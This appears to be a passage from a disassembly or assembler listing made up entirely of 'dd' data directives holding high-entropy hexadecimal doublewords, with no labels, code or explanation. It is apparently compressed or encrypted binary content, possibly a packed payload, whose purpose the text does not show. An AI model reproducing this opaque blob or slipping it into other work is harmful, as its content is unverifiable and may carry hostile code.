		dd 45244E00h, 0BBF6D2D6h, 6ECE0090h, 155E9D88h,	1A90EFBDh
		dd 9AB57700h, 0A23C6640h, 75270C23h, 5F8061D2h,	7996F600h
		dd 3CDBF913h, 0A3DF00EFh, 976B1AE9h, 0E6009F6Ch, 0C8BE0B7Eh
		dd 441C40Ah, 0A227CBD1h, 4BC98073h, 19007174h, 24166A6Eh
		dd 7B8917BDh, 45D80109h, 0AEF541A2h, 42289810h,	0CD6C70h
		dd 8D448B71h, 0F255DE60h, 0C977067Bh, 7A684A01h, 0B8024C50h
		dd 8B10804Eh, 444029A8h, 60D32970h, 0C7E1789Fh,	560522BCh
		dd 63425C92h, 3D82C431h, 0C9D89049h, 0DA1F0CEDh, 8E20164Ah
		dd 0E810356Fh, 9B7A8113h, 101AA5DBh, 2240BBB7h,	327A1706h
		dd 5E84AA08h, 0B86A0F6Ch, 0D741830Ch, 78184B30h, 813AC6h
		dd 0CFB07905h, 31FE8214h, 0A059BE00h, 96113821h, 0EE409051h
		dd 0FDD30A74h, 0A42015h, 0CDC0BD73h, 0D27B4D3Ah, 0D84F2730h
		dd 34176A5Eh, 348F699h,	0CE8E569Ch, 80214C89h, 0E0858490h
		dd 26A4BD12h, 0B521Fh, 7E04C96Bh, 7800E9F2h, 976A61FBh
		dd 33745A43h, 9DB97091h, 845F24F0h, 20079C00h, 51D221B1h
		dd 55970514h, 416DC5ECh, 78B0BDE4h, 0A8CB3122h,	90AC08E8h
		dd 8269603Bh, 9D3F5EF2h, 10A4AAC1h, 6FE004A1h, 286D07A0h
		dd 0EC8C0F64h, 0E3D00C17h, 0BA68FD46h, 0E17AB01Fh, 28219EC1h
		dd 8984888h, 5A2FC1BCh,	0C6B81271h, 9C37B100h, 4EEED227h
		dd 8DE7005Ch, 0AFA1B607h, 4600E64Ch, 0C4CA1B51h, 5F9D3Bh
		dd 85E9DACCh, 9CF8B02Ch, 0CF03DB03h, 1EB6239Eh,	0C017A5A0h
		dd 8E7D099Bh, 300464BFh, 0D4F9312Bh, 696EC80h, 65820199h
		dd 0C6A2FB35h, 8A10BBB5h, 0C25494D8h, 0B91F5200h, 0A7CBE33h
		dd 0A1031D18h, 0DB7F80A0h, 39608014h, 1D46E239h, 0E90CC706h
		dd 492069h, 5D2145Fh, 52C04E1Eh, 0D5FEBA00h, 0C4ADE048h
		dd 0CCB60067h, 0F95F7379h, 0E40F7207h, 2E21EEh,	30DD4FB1h
		dd 0E0B4A91Dh, 0A442D341h, 196AFCh, 2DE227A3h, 71B8F2Fh
		dd 0A0A7E731h, 0BE0105Ch, 0EBD762Eh, 5620A960h,	0E81450EFh
		dd 257B3002h, 0E043D6BCh, 0DF474EC8h, 99B2B102h, 48282758h
		dd 77D63CCh, 545FC16h, 0BC9E71DBh, 0EB65C4C4h, 66671800h
		dd 0C84162BBh, 68950C35h, 0A7485645h, 7418C901h, 6A498243h
		dd 3EB78440h, 0B9B0064h, 0C4788C2Ah, 0B5F250F8h, 8BF2EF03h
		dd 88D8391Fh, 2A02B253h, 2B0F6FAh, 22AAECB0h, 2C49D662h
		dd 42518C9h, 3608647Bh,	5C203528h, 0F46A2078h, 2C2E001Fh
		dd 5EEA5250h, 1900B39Eh, 0B27ABAD9h, 484A5141h,	0CFC028CEh
		dd 68260182h, 40849EF6h, 0FD3CC81Fh, 0BCCD8034h, 2D73FB5Bh
		dd 8C160155h, 0AA67A111h, 0C4E6ECBFh, 2600BA7Fh, 0F35BAC04h
		dd 0FF1762h, 15C12C77h,	5297F701h, 1E316F62h, 0FF060045h
		dd 0C100EB08h, 0E5141A74h, 3B6F2094h, 2D00609Bh, 0FE3ECA46h
		dd 1C07F6ADh, 0A5CF303h, 0F202506h, 0EF5EEE13h,	2E750943h
		dd 5AD1FFB0h, 0C81F03FAh, 928E1BBDh, 0A1B50F0Dh, 616466C5h
		dd 8BCC62FDh, 0F4813DBFh, 0F2A71C87h, 0D18640DEh, 4E0391FDh
		dd 8CB83A5Fh, 0FA60907Ah, 565C60E4h, 0BDDDC806h, 2577B900h
		dd 0CF09ADAFh, 7530CBBh, 93204F8Ch, 61046200h, 1BE0D40Dh
		dd 0EEF2668h, 7DD300E5h, 4273571Dh, 91138402h, 80C006A1h
		dd 97162884h, 0B4C50029h, 1F43C947h, 0B954DA80h, 0ACF41B94h
		dd 5688E100h, 1A0F4A49h, 8C100280h, 8D9F6D8Bh, 1215AC81h
		dd 0DC898688h, 1E86504h, 78B1E9EEh, 0C4F221CEh,	0C20F1FC5h
		dd 0A0B688FCh, 0AA557433h, 8439D485h, 72B01200h, 390C143Fh
		dd 0F231262Eh, 5C64AC1Eh, 0FC1D5D00h, 134C7A2h,	9BA11E0h
		dd 48E182F8h, 0C315C9BCh, 42D4FED7h, 7C3010BCh,	0C6D53B00h
		dd 0DB1CE999h, 0FC957A00h, 9BF69F66h, 0FA5D0590h, 20E4ABC3h
		dd 0F71E0EB8h, 0BB397D10h, 949FD1C8h, 9F500380h, 817230h
		dd 0BC156239h, 0CB094DDCh, 20394CA4h, 0CDF9088Fh, 63CE605Fh
		dd 0C04CBF94h, 17FE003Ch, 74F13319h, 384300FCh,	0E49D1DCFh
		dd 630093E8h, 9FE78948h, 52045380h, 260030CDh, 9DFF2E8Fh
		dd 2884C64Ch, 0FD0B877h, 0B2C3681Eh, 9A86F700h,	0FC076279h
		dd 486782F4h, 56FD2940h, 7B6E00A3h, 30430A1Ch, 507F3D2h
		dd 68528AA5h, 7CB9680Ch, 58749109h, 78C6551h, 0CB6D7FAh
		dd 6DAB4137h, 5B409FDEh, 0B8BC380Ah, 30A7C160h,	0AACF2124h
		dd 8F3D8791h, 0D660B400h, 7DEC44F9h, 0EC76E124h, 59EAED80h
		dd 40E79Eh, 23C4FC57h, 9A9DD1C9h, 0C34FF800h, 0A1900F42h
		dd 6CD2488Bh, 8536C18h,	8E147F3Eh, 134AB6Dh, 0F0743FA8h
		dd 7EC38A1h, 920C9919h,	0FCB001DFh, 0D097CF39h,	80D68FD1h
		dd 1F160CAEh, 6C2889B0h, 0D6F8805Fh, 0D700A97Eh, 2919A2F2h
		dd 70B4BBCBh, 0CAE0A561h, 0E0A110h, 80D5818Fh, 0CC5C3758h
		dd 0B5105471h, 0CE0F2501h, 911EF6FBh, 15067880h, 48B93B81h
		dd 0E30EF5B0h, 93F75DFCh, 5E1F0C30h, 0F87D7056h, 25B90290h
		dd 5B9A66ECh, 0F3E18445h, 19080364h, 9302B30Fh,	783E60CAh
		dd 7DB90E1h, 5346FDE0h,	8FA770A3h, 1126D356h, 0B4C040AFh
		dd 4CC697ACh, 40483C04h, 0B69084h, 88ACC7DDh, 7522019Eh
		dd 535E4DFCh, 9EBDED17h, 0C613CF20h, 7772AC47h,	0A2186Ch
		dd 94644DA7h, 672DAB50h, 0D0E3277h, 202A5FC2h, 0D16810C1h
		dd 4C93728Ch, 0E0578CE8h, 0D401F723h, 2DF91C8Fh, 5480B023h
		dd 74EC92CEh, 0F4A3E600h, 511ACF08h, 306D48A0h,	0FCA77A01h
		dd 212F1DB8h, 0D8B859ACh, 9F53E612h, 0ACCF0188h, 9B6CC520h
		dd 0BC40D50Ch, 0ACCA00DEh, 877223AFh, 0A8EC75B8h, 5D849300h
		dd 0D98C13C6h, 98BC60DFh, 79FFE81Ch, 0A0778F03h, 907BD422h
		dd 3EAED84Fh, 0A8F486DBh, 96761A4h, 0C3CE08EFh,	1A8C2008h
		dd 0B0A080C6h, 1DAB8166h, 56E79900h, 84DD18E5h,	940A30E1h
		dd 0EA57720h, 0B3026400h, 0A6F77670h, 628D0153h, 0A741B5BCh
		dd 0F1F826C7h, 5DC1EABh, 79400BCDh, 4C20B784h, 7C6A5123h
		dd 0CED158h, 899586F5h,	15810420h, 98F7BD78h, 9DE0CF07h
		dd 93405E9Ch, 0E92EBBCCh, 2F57E300h, 34FA1467h,	7EC33DD7h
		dd 0E2F8FB82h, 0CCA27186h, 1318A1D2h, 0C8CC39AEh, 0BC889459h
		dd 0ACE2A280h, 7929935h, 56594CDFh, 0F785010Bh,	0C8F44E6Fh
		dd 2EC73Eh, 0E8A509BFh,	0AAA69C04h, 0E4C1B10Eh,	2020985Eh
		dd 0D5B7048Ah, 82F1349Ah, 0A3008490h, 1D16F2Eh,	317BE97Dh
		dd 0C1A2F941h, 646BF005h, 0F80130B0h, 0C98C7950h, 0FC543AE0h
		dd 752FBC00h, 5172192h
		dd 87E74B8Dh, 0A09087F9h, 89023895h, 0B26E2F0h,	4080246Bh
		dd 681B16Ch, 3C8F0076h,	0A9D43442h, 8300711Dh, 0D324651Ah
		dd 1312F52Dh, 5C9EABF1h, 5048401Ch, 0AF684F34h,	0CD28DD07h
		dd 8E6322BEh, 91CEA090h, 23380011h, 1348F1E9h, 81D93B26h
		dd 5026E190h, 1CAB8201h, 0F681EF99h, 80909710h,	0BC1F8528h
		dd 92D2192Fh, 0CA1D4047h, 26243440h, 11A000E7h,	754E14F7h
		dd 8E601308h, 6843E138h, 0AC0F485Eh, 6484C12Ch,	2310D8CEh
		dd 0FEC98F02h, 11E56415h, 0D53C7454h, 92CB39h, 0FE73F23Eh
		dd 1D659BB9h, 81AC707Ah, 951EF9A4h, 43C041EBh, 0E1903213h
		dd 0CA0CBC3Eh, 9E34DE0Fh, 0E8B404Ch, 35E911h, 0D37555DAh
		dd 884667F5h, 241BDCA0h, 8BD0F261h, 0FB004FA0h,	0FA00D511h
		dd 9095DA5Dh, 2A1471h, 0E3316229h, 0FF7A57CFh, 580CE674h
		dd 105F70D3h, 6D190068h, 0A11AB0EFh, 170ED640h,	0C2FA4187h
		dd 0C39EFF77h, 140CE804h, 0C7AC0037h, 39474ED9h, 0DE7BF267h
		dd 0C3013377h, 0DF6B9EA6h, 16301B1Eh, 70DECBh, 0FDEB8880h
		dd 2E1DEC13h, 0AFC4AABEh, 0B981BB98h, 60FC4DBDh, 71DD006Bh
		dd 4374599Dh, 0A73B5391h, 5D8380D9h, 64ABFF0Ch,	0F97330h
		dd 6FB55AA3h, 3FC3C786h, 59354B0Eh, 0F6938042h,	0FE8FA56Bh
		dd 0AC380040h, 0CC2CB292h, 80287CA8h, 7F7AE8F8h, 5F28C900h
		dd 0A56A362Eh, 3AB700C3h, 0A39EC8EDh, 34005BB3h, 0A94E2312h
		dd 0F13B74h, 0B97E2C24h, 4BD9E5ECh, 0A5708C0Eh,	0BA40F832h
		dd 14F10082h, 0F03EDF0Bh, 0AF00ADF4h, 0A0923788h, 0C779BCh
		dd 62123616h, 0F74CAB55h, 0FB3880F3h, 3524F946h, 4411C0A7h
		dd 65B5EBB6h, 10DA562Ch, 8A4E850Eh, 0B99899h, 6DF5EB4Ch
		dd 38F013Ah, 0C723102Ah, 6EE8A60Ch, 0C500FD21h,	0D8843DECh
		dd 0D9B1CBh, 0EBA9F640h, 0CA2E0E0Fh, 0EDFABA02h, 40CF4BBFh
		dd 0EE879A9h, 8480A636h, 2FF94980h, 250E5A5Ch, 20630C4Fh
		dd 0B1894C30h, 40BA00B9h, 6CEAAFB0h, 0FB007A92h, 0C45226E0h
		dd 0C50D7Fh, 0AC6522EEh, 536FC887h, 4613AE00h, 0E0E7E28Bh
		dd 161D00C1h, 2C999A31h, 9B0729EBh, 0A7D9CEF7h,	61733600h
		dd 6FD1F0E6h, 19800854h, 1C4C91F2h, 0FC4BB000h,	0B4D6113Dh
		dd 73C61CAAh, 9F6E70D3h, 5B17E65Ah, 93001468h, 166DCCD4h
		dd 27421625h, 0F81A14DAh, 90E20200h, 78F2136Fh,	0BF1F960Ah
		dd 7830F2E0h, 31572Fh, 0D58ED972h, 9BD8FCEFh, 1DBC4E13h
		dd 88D2C100h, 328CBE2h,	5096F9C7h, 91B03E92h, 0CC07A041h
		dd 2D69618Dh, 852BA2A0h, 2E703F30h, 0EA07CAB9h,	0B001E139h
		dd 69212CBDh, 8F0FF4FAh, 0C0D2B236h, 65A5F2E8h,	96350016h
		dd 917FD7D5h, 0CE1F890Ah, 1440ECFCh, 9E61AEF2h,	0FFC56h
		dd 0E30A8557h, 62B763C6h, 0EE357100h, 9BB242F8h, 5CEF03F9h
		dd 7C47A77Eh, 60FDA2D1h, 8706C236h, 96FBD55Ah, 66350240h
		dd 2383E53Ah, 86611360h, 0E8FE4600h, 8C9FCAE9h,	0D0341E4Eh
		dd 0C421C04Fh, 0CC0E6481h, 3F35BE5Ch, 37B9808Eh, 0D893D0A4h
		dd 60DB3C5Fh, 45C4C800h, 13AA9195h, 1EDCB900h, 0BBB528BAh
		dd 68EA0054h, 0D6049922h, 20F2CD2Dh, 5E610E07h,	40FFD3B4h
		dd 65414982h, 14570BD8h, 0C6803CBAh, 0A792199Ch, 3647A11Dh
		dd 0E5AB4900h, 0E6EE55AEh, 1C08B009h, 66AF2Dh, 73532B43h
		dd 0A175276h, 5D075DF6h, 7A001DCAh, 873BEAh, 937251DFh
		dd 2DB09FEBh, 483AF800h, 8D2B9884h, 4C3200C7h, 1E79177Dh
		dd 0F400F9FDh, 0B62609A0h, 3C33FEh, 1D55753Ah, 99DB665Fh
		dd 196AC200h, 0D19CE232h, 7C7A3F3Dh, 1F7E5980h,	658F8682h
		dd 5F1CB600h, 78ADD30h,	0D91A0156h, 0DFDAFC4Dh,	317EF0D7h
		dd 0B8E4C800h, 9F3563B6h, 8CF7001Ch, 0A0746A2h,	0AD00518Eh
		dd 485DD2C7h, 5F5428h, 10E2CC5Ch, 0A7603846h, 7C1FB400h
		dd 0AE1EB0F3h, 0C67BD0h, 76B8CA9h, 0B8AF46C8h, 30FB3700h
		dd 13663ED9h, 0C58418DEh, 35F71892h, 0A9ECD00Fh, 14FB80FEh
		dd 125C7DAh, 12B2194h, 7071EFF1h, 0BA00AE5Fh, 0FC8C165h
		dd 97948Fh, 0EFE95239h,	0FF2E80C6h, 0F303A200h,	54106FF8h
		dd 93890086h, 0C226B5C4h, 11263B2Bh, 0CF000C35h, 0F15721EFh
		dd 307600D1h, 0EE4BEC14h, 5B001F50h, 7065E391h,	9DBB2Bh
		dd 4CC03A42h, 481CF340h, 7A00FEE2h, 0F8B8AA93h,	727C868h
		dd 57073F30h, 0B00C67DDh, 0E246C69Bh, 151A6D00h, 0F304FA61h
		dd 11DA1ED4h, 544181FBh, 0F27ED3DBh, 7C8ACA60h,	62E83100h
		dd 6F22C905h, 0D0261EA6h, 7DF300F6h, 3847F45Bh,	8017CE3Ah
		dd 728367BDh, 0B80E43ADh, 856D00C6h, 0EE250370h, 0FAF6C7B5h
		dd 0F55948h, 0CD9A0A7h,	199ADC6h, 0A1750761h, 0E0B59520h
		dd 0C8041F36h, 238F1165h, 0CB003884h, 0B99F4780h, 27A30039h
		dd 0D3624F69h, 260115ADh, 0B4A16D5Bh, 18807FF8h, 0FEE6F251h
		dd 8A005903h, 42932E2Bh, 0F11F2Fh, 23C17F30h, 0A998AE7Dh
		dd 0C9FC410Bh, 2FE6804Ch, 66E906h, 7D90E4CBh, 0A2B251BAh
		dd 4171F400h, 0F88DF6FEh, 0E19300CCh, 0C5D1AA58h, 0C200509Ch
		dd 5442DA74h, 6E6F59h, 3BAD38A6h, 0F3FE02EAh, 71F87500h
		dd 0DEE9C9D9h, 0EE0D07EBh, 705B3889h, 3259947h,	9A3A6EFAh
		dd 0F8D580D4h, 0CF541E7Ah, 59E3B73h, 3C63F300h,	476226C4h
		dd 8F2F2200h, 6DF97BC0h, 2E7F1FEBh, 0A39DCFh, 2784776Ah
		dd 1B00D27Ch, 22B2D695h, 0B03F3292h, 4D63008Bh,	60D011Ch
		dd 0AF3AF8B9h, 41230377h, 80B41834h, 1D2D0F9h, 276B0D2Eh
		dd 0C8BCB875h, 6F099741h, 0AB63EBh, 4B0FDE00h, 86440706h
		dd 971D2236h, 0B16DE0E0h, 7DEA308Eh, 7FF30100h,	0B5880367h
		dd 0F6BD00F5h, 579298BAh, 0CC01501Bh, 42392B44h, 0C270078Bh
		dd 18D0EF3h, 0DDC1211Fh, 0C84F27BEh, 6100E26Eh,	92A93CC0h
		dd 0EA1E4478h, 68350082h, 588C9A41h, 9603DB9Dh,	0DF49DCBEh
		dd 0BA34981Dh, 0F163008Fh, 3826BFD8h, 0CC039F65h, 0C556D41Ah
		dd 8BD6F0C9h, 0C2420119h, 683C512Fh, 0F0D620E2h, 4CCCD300h
		dd 0A1EE70A8h, 5D52000Bh, 0C7D6AA95h, 6C031B21h, 0ACFCA660h
		dd 7B5A989Ch, 937400B6h, 26134BE3h, 76070F4Ah, 0D675C015h
		dd 9F0E403Eh, 174156E7h, 0C2042Dh, 21F09C44h, 200EE151h
		dd 7C0351Eh, 0D1B79612h, 0CAC23490h, 272E00CFh,	0EEA31585h
		dd 7C000782h, 0F6351287h, 0F8AE5D28h, 935F0016h, 8B1972D5h
		dd 5100D703h, 6BB877F7h, 77E48B4h, 23046A56h, 0F1337065h
		dd 3203A8E3h, 0E72E11CCh, 2098A81Dh, 4BED0E76h,	9E007F4Ah
		dd 0AB87375Eh, 4E475800h, 0F59C8C6Ch, 0A8A02E9h, 0D17EFD94h
		dd 38AFE077h, 0C46B0695h, 72D38518h, 0E5433B13h, 0BD8A941Ch
		dd 910EFDF9h, 0B7EC6037h, 0C0FABCE4h, 6177E8BAh, 0D60374A7h
		dd 0B03A3F09h, 0C61FE05Eh, 0CFA20034h, 0EA4080AFh, 5D7D9093h
		dd 3F33B601h, 44C42F52h, 0B014E6F0h, 0B21F2C31h, 5BBE000Eh
		dd 0CE06C89Dh, 4578531Fh, 4D199700h, 7DC444h, 0A785EFFAh
		dd 982E0771h, 60F2FF07h, 0B140E46Bh, 7CDA97ACh,	0EE08E03Ch
		dd 347A0039h, 45CB818Dh, 137F36A0h, 0A2A78A00h,	0F759881Ah
		dd 7955004Bh, 17398D35h, 9D0057C9h, 0DC2D9489h,	7467CB3h
		dd 0E7478A58h, 0CFA0E061h, 711DFB30h, 2D802513h, 93405910h
		dd 5880ED75h, 0E7FBB85Ch, 21EE3D8Dh, 96F31A00h,	0DC746636h
		dd 0EC8407F9h, 0E5BC8E90h, 5DF90031h, 60CBEBAFh, 0EFDF3Eh
		dd 367C8FA4h, 6F3829h
		dd 8657A355h, 63E0152h,	0CEC1E400h, 0C041A7E5h,	7C2C005Dh
		dd 5926C255h, 9B00227Ah, 3A021B39h, 0BBD81Eh, 20F087D6h
		dd 7F81C947h, 80EF7B2Ch, 18F40F07h, 96ABE420h, 52191C9Dh
		dd 0CACC80C4h, 30985504h, 50D15A00h, 0FC3CFABBh, 65490073h
		dd 8FFF93BFh, 0B800F653h, 1B5AE694h, 0F6E2586Dh, 0CD7FA9h
		dd 6BF410D1h, 0F019EF9Bh, 3E03B4FEh, 4DB93728h,	430CE069h
		dd 17DF0090h, 0D90D3B3Fh, 0E07DEB9Ah, 0D1C4AE00h, 1F3C581Bh
		dd 23DD005Ch, 6524D86Eh, 6C0B71FAh, 34D127h, 623D5208h
		dd 0A68700C0h, 7915975Dh, 4930DAA0h, 8186202Ah,	2EE60668h
		dd 8E4AB2Bh, 80EE5D07h,	1240D87Dh, 7F6C7BDh, 23EB4939h
		dd 57D59022h, 4300296Dh, 0A00EFA19h, 7E8637h, 0F93A1784h
		dd 71B7A5B9h, 0EEC3E42Eh, 3E5D3800h, 95398h, 92E85985h
		dd 30CC8ED0h, 7B81E21Eh, 0E06B6380h, 489FE690h,	8A28AC20h
		dd 58A60068h, 0C0A9F756h, 0E353F657h, 83D20078h, 37682149h
		dd 0A772001Fh, 0FE3BE02Eh, 3A3A052Ah, 0C20900BAh, 1C8CBE60h
		dd 50064836h, 3F5F1F0Fh, 78AFED4Bh, 0AF0414h, 1A392E50h
		dd 3B9AFAh, 88AE8F91h, 2B280DAAh, 0BDA01D00h, 0E737F55Fh
		dd 0D7730BE3h, 0EA80093Eh, 0EAC6E04Dh, 67054607h, 86C09A44h
		dd 1DFD963Dh, 0C165D7F3h, 68A9FE1Ah, 2872D43Bh,	97153901h
		dd 8F7498F8h, 7DE14D4h,	0F5B1B40Eh, 2A5AC09Ch, 0DD00D9A9h
		dd 10CD1103h, 6407C6h, 0D8E0CB9Dh, 8E0979B4h, 2269B737h
		dd 72881FE0h, 55AF0952h, 0DC00E2FAh, 0C7B8CC7h,	0CE11350Fh
		dd 0F5F680E7h, 7B4D64Bh, 338BA5B8h, 2C570A3h, 2300B5C1h
		dd 0B7449042h, 7F93DFCh, 22154A2Dh, 0C1C7903Fh,	73005D1Dh
		dd 7FD7BBCBh, 44B652h, 9692F020h, 0E04C522h, 77A74200h
		dd 0B5975C3Ch, 0B7C0007Ah, 1449B964h, 0C913C6BFh, 38401CF7h
		dd 76A01323h, 5E4F0782h, 3065BAAAh, 0AB57CFFCh,	8789C400h
		dd 941D494Ch, 334101C0h, 6BFCF3B2h, 22E470DFh, 67092892h
		dd 80963910h, 0BD4A6C2Ch, 30A2004Fh, 7766EF64h,	2A0EEA6Fh
		dd 201F6A02h, 45ACC749h, 0D4190057h, 8753CB0Bh,	0CE001BC8h
		dd 3578ED3Bh, 0C34B05h,	257CB46Ch, 41485198h, 0E0B30204h
		dd 0E3806D16h, 3FF8FA6Eh, 988083EBh, 73117935h,	643B852Fh
		dd 3E944DE9h, 0B2017448h, 0A7113C1h, 0DD84FABh,	0E5680085h
		dd 5F7E2940h, 0CE74EFE9h, 0C51C6F05h, 0EC1E7D78h, 96978047h
		dd 0D5829C0h, 81990098h, 0B940BF64h, 9E786766h,	4F022500h
		dd 3BC2D15Dh, 0D9D8006Dh, 0A539150Ch, 0FA14C9FBh, 1B83DA9h
		dd 0B5B4197Eh, 8CED1BD5h, 863420h, 0B169ACF4h, 0DFE2B717h
		dd 804DE82Ch, 48117E00h, 0BCAF95h, 0BDCD86C5h, 92A2A52Ah
		dd 72819700h, 7DC68F44h, 5C632F48h, 21FE4502h, 9F678780h
		dd 0A603E44Dh, 0DF8CEEA2h, 9D80DFCDh, 92EBF763h, 5F2500BCh
		dd 0FA4F7CCBh, 4600B045h, 0D770E4D5h, 7C2AC7E7h, 0E1901B2h
		dd 3F3BC568h, 0CE509DDBh, 41725C0h, 98E57h, 19366135h
		dd 6BF6F77Bh, 1D4D6600h, 0F1BFE262h, 0CB8900F2h, 0DD611EE4h
		dd 1B00BC10h, 0A7C649F9h, 3D87D09Dh, 2C809875h,	80FB84CDh
		dd 92E07169h, 0B63DC500h, 6C41A23Bh, 0AF7000Fh,	0E3D3014Bh
		dd 0E17CB89Ch, 72E5A58h, 7A6ADC4h, 0CED6808Eh, 183E2A4Fh
		dd 40016B44h, 163BFAF9h, 1C738020h, 9D099B0Dh, 57AD00E7h
		dd 22D6FF8h, 4A00DC26h,	40105463h, 20657E7Bh, 0DE72C7F0h
		dd 26CFB600h, 0C091B548h, 9866008Dh, 8984F4A6h,	820001FBh
		dd 12B31F9Fh, 805EC9h, 0A3FD5D27h, 318D2EDCh, 796A39h
		dd 0D44BCB1Bh, 738D91Fh, 7C2F2846h, 9588F04Eh, 0F6000849h
		dd 0ED250CE5h, 0AA0A69h, 0EA761A85h, 0C18C1978h, 5915D602h
		dd 0F7DCE6B4h, 0C0D09163h, 0CB746A70h, 41531000h, 323911ABh
		dd 3C7A00ADh, 0C7D8B294h, 5800571Dh, 6C44374h, 0BF884633h
		dd 0A12EB60h, 305CC50Eh, 4872C09Fh, 191B4h, 0D9B69D4Dh
		dd 0D37843F0h, 80CA703Ch, 0B16FC687h, 1ED1C08Ah, 0C01CD7FEh
		dd 9926E672h, 90008511h, 2A585DC2h, 0E4F9070Ah,	6B1500C8h
		dd 0F8C1C532h, 0AD001B4Bh, 97A12106h, 7741526Fh, 0FBEA03h
		dd 2EE138BCh, 8E985D9Dh, 0E8CEC500h, 25EDD81h, 741C008Fh
		dd 0AE634560h, 5D002DFEh, 6C6967A8h, 0D52013h, 0F79B0436h
		dd 537A5055h, 2D0311F2h, 48FDC5F9h, 0A181B447h,	0A6F89DFFh
		dd 0A5320065h, 0BBC79454h, 0D039377Bh, 6AB7801Ah, 77260B9Ch
		dd 0A7E301D5h, 63556D1Ch, 702FE161h, 0F502738Ch, 6F453ECDh
		dd 5407D8Ah, 5505F391h,	0DAD617BEh, 0AC2FC0FAh,	16000FB8h
		dd 88813C30h, 151EE2h, 4BCC59EEh, 0DF4C0520h, 6318D900h
		dd 31397F51h, 0FF70072h, 0AB23BE36h, 2500D63Fh,	0FDB51381h
		dd 79ECAh, 0F4DEA3Ch, 7E5668A2h, 0EFEC6D07h, 0C4901EFCh
		dd 4A82DDCh, 2B71E19Ch,	0CD5680FAh, 7400F4CFh, 66A03A61h
		dd 0E21BC3h, 7C13AE11h,	0ACAB21CCh, 27677900h, 948658A5h
		dd 0E5CE6E2h, 0FFED733Dh, 0A2B6DD40h, 103872D3h, 0F27F01FAh
		dd 11469082h, 5BFCF4h, 9E4B5FBBh, 6A99DEB2h, 60320A07h
		dd 0D2C370C4h, 0CAF6E088h, 0BCED0010h, 0C2773736h, 0F801B68Fh
		dd 4AD9CF38h, 61E41E41h, 0E07949h, 6717DAE3h, 0A8D7B1F1h
		dd 0D8A51F38h, 6550001Ah, 11DB5783h, 0FC7271h, 8236ED35h
		dd 0F0F2B1A6h, 0DFAC285Bh, 0F83A1063h, 0BCFC4DC0h, 0C47B10A0h
		dd 0FA837807h, 9110DA6Ah, 18672Fh, 0BB664689h, 3AD1ACA6h
		dd 202B8400h, 70A2A3D7h, 2883008Bh, 8E1A9754h, 88F416AFh
		dd 0BF4B3Eh, 91F2CB33h,	0E80A534h, 4D57A277h, 47107A80h
		dd 0B0015608h, 172B8D2Ah, 8806928h, 0AEC21257h,	470087F2h
		dd 82D580AFh, 5C69893Ch, 1800D87Dh, 9935BAB4h, 0C272F3D3h
		dd 64628507h, 0D110CB84h, 6D6E30h, 95143B66h, 6BBCC87Dh
		dd 229ABF00h, 97EF1850h, 0A7D70019h, 1AABA5FFh,	0FC3C243Fh
		dd 361481Ch, 8D402BA6h,	9290008Ah, 9751ACD7h, 0A0CA0FE2h
		dd 835504E1h, 0A12A6588h, 9B8027E0h, 0C3C91900h, 585A6DE0h
		dd 0FD56022Dh, 0FBB9BADAh, 0CBF4A8C0h, 0AA9F9007h, 3050E56Bh
		dd 16576EAh, 60A2ACC3h,	0C4852114h, 3E07BB92h, 0D43F9DC1h
		dd 80AFA1D4h, 0D611F983h, 732E3058h, 0D1B18E13h, 0C053A70Fh
		dd 45E406F4h, 0BE74EBh,	61D2E22Ah, 0A0F69411h, 90BA9701h
		dd 0B86ACA4Eh, 36D3E8h,	6608718Bh, 0A63F825h, 72A06700h
		dd 88CBCCBCh, 1822036Dh, 0C1CD5AE5h, 648C5EA0h,	0E7EF0B1Fh
		dd 0B61C3241h, 0D86017C9h, 0A3F524F0h, 5FCF1FDAh, 0D1EB0C01h
		dd 8F01D4DAh, 0BC3BFC8Bh, 69609F2Bh, 0CA5C0007h, 0BBDA2A17h
		dd 81E8F7A9h, 43598400h, 0F5862499h, 96D20F0Eh,	7280C711h
		dd 817DA56Eh, 0F1B173Ch, 421E0D83h, 0E013EBFFh,	5576B2h
		dd 990B36D6h, 6778A44Fh, 0AC2D5A00h, 6C43240Eh,	69FAD9h
		dd 0C81B6475h, 2FA28588h, 0D72A5401h, 0E706CEF6h, 0A108DCh
		dd 9BC85CD2h, 80E12421h, 0D400487Eh, 55400BB0h,	2F2972h
		dd 98AB1E63h, 62E5B57Bh, 0E977D400h, 7D706D0Ah,	7A9B008Ch
		dd 755CA0C8h, 951E1672h, 7C44731Eh, 188057B0h, 3BBAF726h
		dd 0B5043DD7h, 804061C9h, 23A56C7Dh, 926E6400h,	0B26971Fh
		dd 0D97500E7h, 4CA0A9E5h, 3200FA6Fh, 31C8B6E1h,	98768D0h
		dd 583A2425h, 5D884C00h, 0E40012C9h, 6FF8B1Fh, 1C45DFh
		dd 0D9684FA1h, 0B14ADD50h
		dd 9D29C50Fh, 4B44A04Eh, 5D907Ah, 25B6B8D7h, 96025BE9h
		dd 0CB913307h, 12D05306h, 0FBE55Eh, 75B060A1h, 0E87BDA5Ch
		dd 0E93A8702h, 75033C58h, 0FBAC9D80h, 0FC008D83h, 9FCD3156h
		dd 7C10AADCh, 0BDDB0EEFh, 0F520E2CEh, 5AE4DFE8h, 123AF200h
		dd 0F8E7AF89h, 69F00007h, 0FD66948Eh, 4D0022C4h, 272D3346h
		dd 0F62A56D2h, 0CA650077h, 0A03EA934h, 127F3836h, 1A0CF0FBh
		dd 0AF1BAD00h, 3D74BE3Bh, 605B0055h, 380EF116h,	0D30056C5h
		dd 3AC34083h, 5CB926CCh, 0B200F0B5h, 0A3BFCDEAh, 0A6009E53h
		dd 0FD89A75Eh, 0A8B1F8h, 602740F4h, 7A18044Bh, 7D620A00h
		dd 928C678Bh, 18DEEAFh,	3DF55FE9h, 0EC611133h, 1500F86Fh
		dd 52DBC998h, 3D370DCh,	11C0042Ch, 0E4989059h, 0E60064FBh
		dd 0EC2DFF4Dh, 0A3AFF9h, 0EB9D1F73h, 0BB81DFF4h, 0CA17BD00h
		dd 44D52178h, 26D703Fh,	30D4C3CCh, 7F6303h, 0E9F3D275h
		dd 0AF540B24h, 0B580673Eh, 0A17DB05Fh, 3A12A507h, 3F00EE80h
		dd 63C45Ch, 0EDCDC293h,	573194E3h, 778C2000h, 0FC69C83Ch
		dd 72F67Eh, 15FB05D9h, 0B0475E02h, 4B79F300h, 8D5F843Dh
		dd 1BB0551h, 807A73E5h,	493E85DAh, 80D69200h, 0B93959ECh
		dd 3DB14C5Dh, 9CE10E00h, 0D9D36EFBh, 140010B8h,	4B9ADD23h
		dd 0E815EFh, 0AC6A8928h, 2279605Eh, 8007D43Ah, 0DE517496h
